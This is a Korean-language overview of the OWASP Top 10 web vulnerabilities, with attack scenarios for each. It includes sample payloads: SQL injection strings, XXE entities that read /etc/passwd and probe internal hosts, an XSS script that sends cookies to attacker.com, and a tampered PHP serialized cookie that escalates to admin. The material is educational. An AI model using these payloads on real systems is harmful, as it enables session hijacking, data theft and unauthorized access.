OWASP(The Open Web Application Security Project)
OWASP는 오픈소스 웹 어플리케이션 보안 프로젝트이다. 웹에 관한 정보노출, 악성 파일 및 스크립트, 보안 취약점 등을 연구하며, 10대 웹 어플리케이션 취약점(OWASP TOP 10)을 발표한다.
A1. Injection (인젝션)
SQL, OS, XXE, LDAP 인젝션 취약점은 신뢰할 수 없는 데이터가 명령어나 쿼리문의 일부분으로써, 인터프리터로 보내질 때 발생한다. 공격자의 악의적인 데이터는 예기치 않은 명령을 실행하거나 적절한 권한 없이 데이터에 접근하도록 인터프리터를 속일 수 있다.
공격 시나리오
시나리오 #1
애플리케이션은 다음과 같은 취약한 SQL 호출구조에서 신뢰되지 않은 데이터를 사용합니다.
String query = "SELECT * FROM accounts WHERE custID='" + request.getParameter("id") + "'";
시나리오 #2
마찬가지로, 프레임워크에 대한 애플리케이션의 맹목적인 신뢰는 여전히 취약한 쿼리를 초래합니다.
(예시, Hibernate Query Language (HQL)):
Query HQLQuery= session.createQuery("FROM accountsWHERE custID='" + request.getParameter("id") + "'");
두 개의 사례로 보아, 공격자는 브라우저에서 전송할 ‘id’ 파라미터 값을 수정합니다 : ‘ or ‘1’=1.
예제: http://example.com/app/accountView?id='or '1'='1
이렇게 하면, 두 쿼리의 의미가 변경되어 accounts 테이블의 모든 레코드가 반환됩니다. 더 위험한 공격은 저장 프로시저의 데이터를 수정하거나 파괴합니다.
A2. Broken Authentication (취약한 인증)
인증 및 세션 관리와 관련된 애플리케이션 기능이 종종 잘못 구현되어 공격자가 패스워드, 키, 세션 토큰을 해킹하거나 일시적 또는 영구적으로 다른 사용자의 권한 획득을 위해 구현 상 결함을 악용하도록 허용한다.
공격 시나리오
시나리오 #1
알려진 암호 목록을 사용한 계정 정보 삽입이 일반적입니다 . 애플리케이션이 자동화된 위협 또는 계정 정보 삽입 방어를 구현하지 않은 경우, 애플리케이션을 암호 오라클로 사용하여 계정 정보가 유효한지 확인할 수 있습니다.
시나리오 #2
대부분의 인증 공격은 암호를 유일한 인증 요소로 계속 사용하는 것으로 인해 발생합니다. 모범 사례로 간주된 비밀번호 주기와 복잡성 요구사항은 사용자가 취약한 비밀번호를 등록하고 재사용할 수 있도록 권장합니다 . 따라서 조직에서는 NIST 800-63 에 따라 이러한 관행을 중단하고 다중 인증을 사용하는 것이 좋습니다.
시나리오 #3
애플리케이션 세션에 대한 적절한 만료 시간이 정해지지 않는 것입니다 . 사용자는 공용 컴퓨터로 애플리케이션에 접근, "로그아웃"을 선택하지 않고 단순히 브라우저 탭을 닫고 나갑니다. 한시간 이후에 공격자가 같은 브라우저를 사용한다면 사용자는 여전히 인증되어 있을 것입니다.
A3. Sensitive Data Exposure (민감한 데이터 노출)
많은 웹 애플리케이션들과 API는 금융 정보, 건강 정보, 개인 식별 정보와 같은 중요한 데이터를 제대로 보호하지 않는다. 공격자는 신용카드 사기, 신분 도용 또는 다른 범죄를 수행하기 위해 보호가 취약한 데이터를 훔치거나 변경할 수 있다. 중요 데이터가 저장 또는 전송할 때 암호화 같은 추가 보호 조치가 없으면 탈취 당할 수 있으며, 브라우저와 교환하는 경우 각별한 주의가 필요하다.
공격 시나리오
시나리오 #1
애플리케이션은 자동화된 데이터베이스 암호화를 사용하여 데이터베이스의 신용 카드 번호를 암호화합니다. 그러나 이 데이터는 검색될 때 자동으로 복호화되므로 SQL 삽입 결함으로 일반 텍스트의 신용 카드 번호가 검색될 수 있습니다.
시나리오 #2
모든 웹 페이지에 TLS 를 반드시 사용하지 않거나 약한 암호화를 지원하는 사이트. 공격자는 (안전하지 않은 무선 네트워크에서) 쉽게 네트워크 트래픽을 모니터링하고 HTTPS 를 HTTP 로 낮추며 , 요청을 중간에서 가로채고 사용자 세션 쿠키를 탈취합니다. 이어서 공격자는 이 쿠키를 다시 사용해서 사용자의 (인증된) 세션을 악용하여 사용자의 개인 정보에 접근하거나 수정합니다. 금융 거래시 수취인과 같은 전송된 모든 데이터를 바꿀 수도 있습니다.
시나리오 #3
패스워드를 저장할 때 솔트를 하용하지 않거나 간단한 해시를 사용하는 데이터베이스. 파일 업로드 취약점을 통해 공격자는 패스워드 데이터베이스를 가져올 수 있습니다 . 솔트되지 않은 해시들은 미리 계산된 해시들을 가진 레인보우 테이블에 노출될 수 있습니다 . 간단하거나 빠른 해시 함수로 만들어진 해시는 솔트를 적용했더라도 GPU 를 이용하여 크랙될 수 있습니다 .
A4. XML External Entities (XXE) (XML 외부 개체)
오래되고 설정이 엉망인 많은 XML 프로세서들은 XML 문서 내에서 외부 개체 참조를 평가한다. 외부 개체는 파일 URI 처리기, 내부 파일 공유, 내부 포트 스캔, 원격 코드 실행과 서비스 거부공격을 사용하여 내부 파일을 공개하는데 사용할 수 있다.
임베디드 장비 공격을 포함하는 수많은 공개 XXE 이슈들이 발견되고 있습니다 . XXE 는 많은 의존성을 가진 것을 포함하는 수많은 예상치 못한 곳에서 발생합니다 . 가장 쉬운 방법은 악의적인 XML 파일을 업로드하는 것이며 , 이것이 가능하다면 취약합니다.
공격 시나리오
시나리오 #1
공격자는 서버에서 데이터를 가져오려고 시도합니다.
<?xml version="1.0" encoding="ISO 8859 1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
< foo > &xxe ; </foo>
시나리오 #2
공격자는 ENTITY 라인을 변경하여 서버의 사설망을 찾으려 합니다.
<!ENTITY xxe SYSTEM "https://192.168.1.1/private" >]>
시나리오 #3
공격자는 잠재적으로 무한 파일을 포함하여 서비스 거부 공격을 시도합니다
<!ENTITY xxe SYSTEM "file:///dev/random" >]>
A5. Broken Access Control(취약한 접근 통제)
취약한 접근 제어는 인증된 사용자가 수행할 수 있는 것에 대한 제한이 제대로 적용되지 않는 것을 의미한다. 공격자는 이러한 취약점을 악용하여 사용자의 계정 액세스, 중요한 파일 보기, 사용자의 데이터 수정, 액세스 권한 변경 등과 같은 권한 없는 기능, 또는 데이터에 액세스할 수 있다.
공격 시나리오
시나리오 #1
입력 값을 검증절차 없이 사용자 계정정보에 접근하는 용도의 SQL 문에서 사용하는 애플리케이션이 있고 아래와 같은 형태의 소스코드로 구현되어 있다고 가정해 봅시다.
pstmt.setString(1, request.getParameter ("acct"));
ResultSet results = pstmt.executeQuery ();
공격자는 브라우저에서 서버로 전송되는 시점에 아래와 같은 형태로 acct 파라미터를 원하는 값으로 수정할 수 있고 만약 입력 값을 적절히 검증하지 않는다면 다른 사용자의 계정에 접근하게 될 수도 있습니다.
example.com/app/accountInfo?acct=notmyacct
시나리오 #2
공격자가 브라우저를 통해 원하는 대상의 URL 을 직접 입력할 경우 접근 대상이 Admin 페이지라면 관리자 외의 인원은 접근할 수 없어야 합니다.
example.com/app/getappInfo
example.com/app/admin_getappInfo
위와 같은 URL 직접 입력을 통해 인가되지 않은 사용자가 요청한 페이지에 접근할 수 있거나 , 관리자 외의 인원이 Admin 페이지에 접근할 수 있다면 취약합니다.
A6. Security Misconfigurations (잘못된 보안구성)
훌륭한 보안은 애플리케이션, 프레임워크, 애플리케이션 서버, 웹 서버, 데이터베이스 서버 및 플랫폼에 대해 보안 설정이 정의되고 적용되어 있다. 기본으로 제공되는 값은 종종 안전하지 않기 때문에 보안 설정은 정의, 구현 및 유지되어야 한다. 또한 소프트웨어는 최신의 상태로 유지해야 한다.
공격 시나리오
시나리오 #1
알려진 취약점을 포함하고 있는 샘플 애플리케이션이 삭제되지 않은 채로 애플리케이션 서버가 운영 환경에서 사용 중이라면, 샘플 애플리케이션은 공격자가 서버를 공격하는데 악용될 수 있습니다. 샘플 애플리케이션 중에 관리 콘솔이 포함되어 있고 디폴트 계정 정보가 변경되지 않았다면, 공격자는 디폴트 패스워드를 사용해 접속에 성공함으로써 권한을 획득할 수도 있습니다.
시나리오 #2
서버 내 디렉토리 리스팅이 비활성화되지 않았다면 공격자는 디렉토리 목록이 노출됨을 발견하게 되고 자바 클래스 파일을 다운로드하여 디컴파일과 리버스엔지니어링을 통해 애플리케이션 상에 존재하는 심각한 접근 통제 취약점을 찾아낼 수도 있습니다.
시나리오 #3
사용자에게 전달하는 응답 메시지 상에 스택 추적 정보와 같은 상세한 에러 메시지를 노출하도록 애플리케이션 서버가 설정되어 있다면, 구성 요소 버전 정보와 같은 공격에 도움을 줄 수 있는 민감한 정보나 내부적인 결함들이 잠재적으로 노출될 수 있습니다.
시나리오 #4
클라우드 서비스 제공자가 다른 클라우드 서비스 이용자들이 인터넷을 통해 접근 가능한 상태로 디폴트 공유 권한을 열어둔 상태라면, 클라우드 스토리지에 저장되어 있는 민감한 데이터에 대한 접근을 허용할 수도 있습니다.
A7. Cross-Site Scripting (XSS) (크로스 사이트 스크립팅)
Cross-Site Scripting (XSS) (크로스 사이트 스크립팅 (XSS))
XSS 취약점은 애플리케이션이 신뢰할 수 없는 데이터를 가져와 적절한 검증이나 제한 없이 웹 브라우저로 보낼 때 발생한다. XSS는 공격자가 피해자의 브라우저에 스크립트를 실행하여 사용자 세션 탈취, 웹 사이트 변조, 악의적인 사이트로 이동할 수 있다.
공격 시나리오
시나리오 #1
이 애플리케이션은 유효성 검사 또는 필터링 처리없이 다음의 HTML 조각의 구성 내 신뢰할 수 없는 데이터를 사용합니다.
(String) page += "<input name='creditcard' type='TEXT' value=''" + request.getParameter ("CC") + ">";
공격자는 브라우저 내에서 다음과 같이 ‘CC’ 파라미터를 조작합니다.
'><script> document.location=
'http://www.attacker.com/cgi-bin/cookie.cgi?
foo='+document.cookie</script>'
이 공격으로 인해 피해자의 세션 ID 가 공격자의 웹 사이트로 전송되어 공격자가 사용자의 현재 세션을 가로챌 수 있습니다.
주 : 공격자는 XSS 를 사용하여 애플리케이션이 사용할 수 있는 자동화된 크로스 사이트 요청 변조 (CSRF) 방어를 무력화할 수
있습니다.
A8. Insecure Deserialization (안전하지 않은 역직렬화)
안전하지 않은 역직렬화는 종종 원격 코드 실행으로 이어집니다. 역직렬화 취약점이 원격 코드실행 결과를 가져오지 않더라도 이는 권한 상승 공격, 주입 공격과 재생 공격을 포함한 다양한 공격 수행에 사용될 수 있다.
공격 시나리오
시나리오 #1
React 애플리케이션은 일련의 Spring Boot 마이크로 서비스를 호출합니다. 기능적 프로그래머이기 때문에 코드가 변경되지 않도록 노력했습니다. 이들이 제기한 해결책은 사용자 상태를 일련 번호로 변환하고 각 요청과 함께 앞뒤로 전달하는 것입니다. 공격자는 "R00“ 자바 객체 서명을 확인하고 자바 직렬 킬러 도구를 사용하여 애플리케이션 서버에서 원격 코드 실행을 얻습니다.
시나리오 #2
PHP 포럼은 PHP 객체 직렬화를 사용하여 사용자의 사용자 ID, 역할 , 암호 , 해시 및 기타 상태를 포함하는 "super" 쿠키를 저장합니다.
a:4:{i:0;i:132;i:1;s:7:"Mallory";i:2;s:4:"user";i:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
공격자는 직렬화된 객체를 변경하여 관리자 권한을 부여합니다.
a:4:{i:0;i:1;i:1;s:5:"Alice";i:2;s:5:"admin";bi:3;s:32:"b6a8b3bea87fe0e05022f8f3c88bc960";}
A9. Using Components with Known Vulnerabilities (알려진 취약점이 있는 구성요소 사용)
컴포넌트, 라이브러리, 프레임워크 및 다른 소프트웨어 모듈은 대부분 항상 전체 권한으로 실행된다. 이러한 취약한 컴포넌트를 악용하여 공격하는 경우 심각한 데이터 손실이 발생하거나 서버가 장악된다. 알려진 취약점이 있는 컴포넌트를 사용하는 애플리케이션은 애플리케이션 방어 체계를 손상하거나, 공격 가능한 범위를 활성화하는 등의 영향을 미친다.
공격 시나리오
시나리오 #1
일반적으로 구성요소는 애플리케이션 자체와 동일한 권한으로 실행되므로 구성요소의 결함으로 인해 심각한 영향을 받을 수 있습니다. 이러한 결함은 실수(예 : 코딩 오류) 또는 고의적(예 : 구성 요소 내 백도어)일 수 있습니다. 발견된 악용 가능한 구성요소의 취약점의 예는 다음과 같습니다.
• CVE 2017 5638 , 서버 상에서 임의 코드 실행을 가능케 했던 스트럿츠 2 원격코드 실행 취약점이 심각한 보안 사고로 인해 비난 받았습니다.
• 사물 인터넷(IOT)은 종종 패치하기 어렵거나 불가능하지만, 패치를 적용하는 것이 중요할 수 있습니다.(예 : 생체 의료 장비)
공격자가 패치되지 않았거나 잘못 구성된 시스템을 찾는데 도움이 되는 자동화된 도구들이 있습니다. 예를 들면, Shodan IoT 검색 엔진은 2014년 4월에 패치된 하트블리드 취약점에 여전히 취약한 디바이스들을 찾는데 도움을 줄 수 있습니다
A10. Insufficient Logging and Monitoring (불충분한 로깅 및 모니터링)
불충분한 로깅과 모니터링은 사고 대응의 비효율적인 통합 또는 누락과 함께 공격자들이 시스템을 더 공격하고, 지속성을 유지하며, 더 많은 시스템을 중심으로 공격할 수 있도록 만들고, 데이터를 변조, 추출 또는 파괴할 수 있다. 대부분의 침해 사례에서 침해를 탐지하는 시간이 200일이 넘게 걸리는 것을 보여주고, 이는 일반적으로 내부 프로세스와 모니터링보다 외부기관이 탐지한다.
공격 시나리오
시나리오 #1
소규모 팀이 운영하는 오픈소스 프로젝트 포럼 소프트웨어는 그 소프트웨어 내 결함이 악용되어 해킹당했습니다 . 공격자는 다음 버전과 모든 포럼 내용이 포함된 내부 소스코드 저장소를 삭제했습니다 . 소스코드를 복구할 수 있었지만, 모니터링, 로깅 혹은 경고의 부재는 훨씬 더 큰 불이익을 초래했습니다. 이 문제로 인해 포럼 소프트웨어 프로젝트 더 이상 활성되지 않았습니다.
시나리오 #2
공격자는 공통 암호를 사용하는 사용자를 찾기 위해 스캔을 합니다. 이 암호를 사용하여 모든 계정을 탈취할 수 있습니다 . 다른 모든 사용자의 경우, 이 스캔은 단지 하나의 잘못된 로그인 기록만을 남깁니다. 며칠 후 다른 비밀번호로 이 작업을 반복할 수 있습니다.
시나리오 #3
미국의 한 주요 소매 업체는 첨부 파일을 분석하는 내부 악성코드 분석 샌드박스를 갖고 있었습니다. 샌드박스 소프트웨어는 잠재적으로 원치않은 소프트웨어를 탐지했지만, 아무도 이 탐지에 대응하지 않았습니다. 샌드박스는 외부 은행에 의한 사기성 카드 거래로 인해 그 보안사고가 탐지되기 전까지 얼마 동안 경고를 표시했습니다.